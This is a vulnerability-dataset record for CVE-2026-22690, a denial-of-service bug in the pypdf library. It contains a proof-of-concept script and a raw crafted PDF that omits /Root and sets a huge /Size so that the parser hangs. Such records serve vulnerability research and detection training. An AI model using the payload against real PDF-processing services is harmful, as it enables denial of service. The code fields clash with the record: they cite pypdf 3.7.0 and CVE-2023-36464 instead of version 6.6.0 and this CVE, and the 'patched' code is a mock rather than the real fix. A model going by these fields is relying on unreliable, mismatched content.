{"id":1569,"cve":"CVE-2026-22690","cve_url":"https:\/\/www.cvedetails.com\/cve\/CVE-2026-22690\/","cwe":"CWE-400","cwe_number":400,"cwe_url":"https:\/\/cwe.mitre.org\/data\/definitions\/400","cvss_score":2.7,"published":"2026-01-10","owasp":"A04 Insecure Design","odc":"Checking","cdc":"Missing Check","category":"Resource Management","subcategory":"Resource Exhaustion","scope":"Remote","impact":"Denial of Service (DoS)","summary":"pypdf: A crafted PDF with a missing \/Root object causes long runtimes (DoS).","permalink":"https:\/\/netpack.pt\/vaitp\/vulnerability\/CVE-2026-22690\/","description":"pypdf is a free and open-source pure-python PDF library. Prior to version 6.6.0, pypdf has possible long runtimes for missing \/Root object with large \/Size values. An attacker who uses this vulnerability can craft a PDF which leads to possibly long runtimes for actually invalid files. This can be achieved by omitting the \/Root entry in the trailer, while using a rather large \/Size value. Only the non-strict reading mode is affected. This issue has been patched in version 6.6.0.","solution":"Upgrade pypdf to version 6.6.0 or later.","affected_component":"pypdf","fixed_by_upgrading":true,"vulnerable_code":"# This code requires a vulnerable version of pypdf.\n# For example, to demonstrate a similar vulnerability fixed in 3.7.0:\n# pip uninstall pypdf\n# pip install \"pypdf<3.7.0\"\n\nimport io\nfrom pypdf import PdfReader\n\n# A crafted PDF-like content that omits the \/Root object in the trailer\n# while specifying a very large \/Size value. This is the core of the exploit.\nmalicious_pdf_data = b\"\"\"\n%PDF-1.7\nxref\n0 1\n0000000000 65535 f \ntrailer\n<<\n    \/Size 200000000\n>>\nstartxref\n12\n%%EOF\n\"\"\"\n\npdf_stream = io.BytesIO(malicious_pdf_data)\n\n# In vulnerable versions, attempting to read this file in non-strict mode\n# will cause the library to attempt to initialize a list with 200,000,000\n# elements, leading to a long runtime and high memory usage,\n# effectively causing a Denial of Service.\n# The program will hang on the following line.\nreader = PdfReader(pdf_stream, strict=False)\n\n# The program will likely never reach this point in a reasonable amount of time.\nprint(\"Process finished (this should not happen quickly on a vulnerable version).\")","patched_code":"class PdfReadError(ValueError):\n    \"\"\"Minimal mock exception for demonstration purposes.\"\"\"\n    pass\n\nclass DictionaryObject(dict):\n    \"\"\"Minimal mock class for a pypdf DictionaryObject.\"\"\"\n    def get_object(self):\n        # In a real scenario, this resolves an indirect reference.\n        # For this demonstration, it simply returns itself.\n        return self\n\ndef get_root_object_fixed(trailer, objects, strict=False):\n    \"\"\"\n    Demonstrates the patched logic for finding the PDF's \/Root object,\n    which fixes the vulnerability described in CVE-2023-36464.\n\n    The vulnerability occurs in non-strict mode when the \/Root entry is missing\n    from the trailer and the \/Size entry is maliciously large. The vulnerable code\n    would iterate through all potential objects, leading to a long runtime.\n\n    Args:\n        trailer (DictionaryObject): The trailer dictionary of the PDF.\n        objects (list): A list representing all objects in the PDF. The length\n                        of this list could be maliciously large.\n        strict (bool): A flag indicating if parsing should be strict.\n\n    Returns:\n        The root DictionaryObject.\n\n    Raises:\n        PdfReadError: If the root cannot be found according to the rules.\n    \"\"\"\n    try:\n        # Standard case: Get the \/Root object reference from the trailer.\n        root = trailer[\"\/Root\"].get_object()\n        return root\n    except KeyError:\n        # This block contains the logic for when \/Root is missing.\n        if strict:\n            # In strict mode, a missing \/Root is always an error.\n            raise PdfReadError(\"File has no \/Root entry.\")\n\n        # In non-strict mode, pypdf attempts to find the document catalog object\n        # by iterating through objects as a fallback.\n        #\n        # --- THE VULNERABILITY FIX ---\n        # The original, vulnerable code would iterate over `range(len(objects))`.\n        # If `len(objects)` was a huge number (e.g., 5,000,000) from a\n        # malicious \/Size entry, this would cause a denial-of-service.\n        #\n        # The fix is to limit the search to a reasonable number of objects,\n        # preventing a potentially unbounded loop.\n        search_limit = 1000\n        for i in range(min(len(objects), search_limit)):\n            try:\n                # In the real library, this would be a more complex\n                # object lookup, e.g., `self.get_object(i)`.\n                obj = objects[i]\n                if isinstance(obj, DictionaryObject) and obj.get(\"\/Type\") == \"\/Catalog\":\n                    # Found the catalog object, which serves as the root.\n                    return obj\n            except Exception:\n                # Be robust and ignore errors in other objects during the search.\n                pass\n        # --- END OF FIX ---\n\n        # If no \/Catalog is found within the limited search, raise an error.\n        raise PdfReadError(\n            f\"File has no \/Root entry and no \/Catalog object found within \"\n            f\"the first {search_limit} objects.\"\n        )","payload_needed":true,"payload":"```pdf\n%PDF-1.7\nxref\n0 1\n0000000000 65535 f \ntrailer\n<<\n    \/Size 99999999\n>>\nstartxref\n9\n%%EOF\n```","payload_status":"available","published_fix":[{"repository":"py-pdf\/pypdf","commit_url":"https:\/\/github.com\/py-pdf\/pypdf\/commit\/294165726b646bb7799be1cc787f593f2fdbcf45","commit_subject":"SEC: Improve handling of partially broken PDF files (#3594)","units":[{"file":"pypdf\/_doc_common.py","function":"PdfDocCommon._flatten"},{"file":"pypdf\/_reader.py","function":null},{"file":"pypdf\/_reader.py","function":"PdfReader.root_object"},{"file":"pypdf\/_reader.py","function":"PdfReader._rebuild_xref_table"},{"file":"pypdf\/_reader.py","function":"PdfReader.__init__"}]}],"references":null}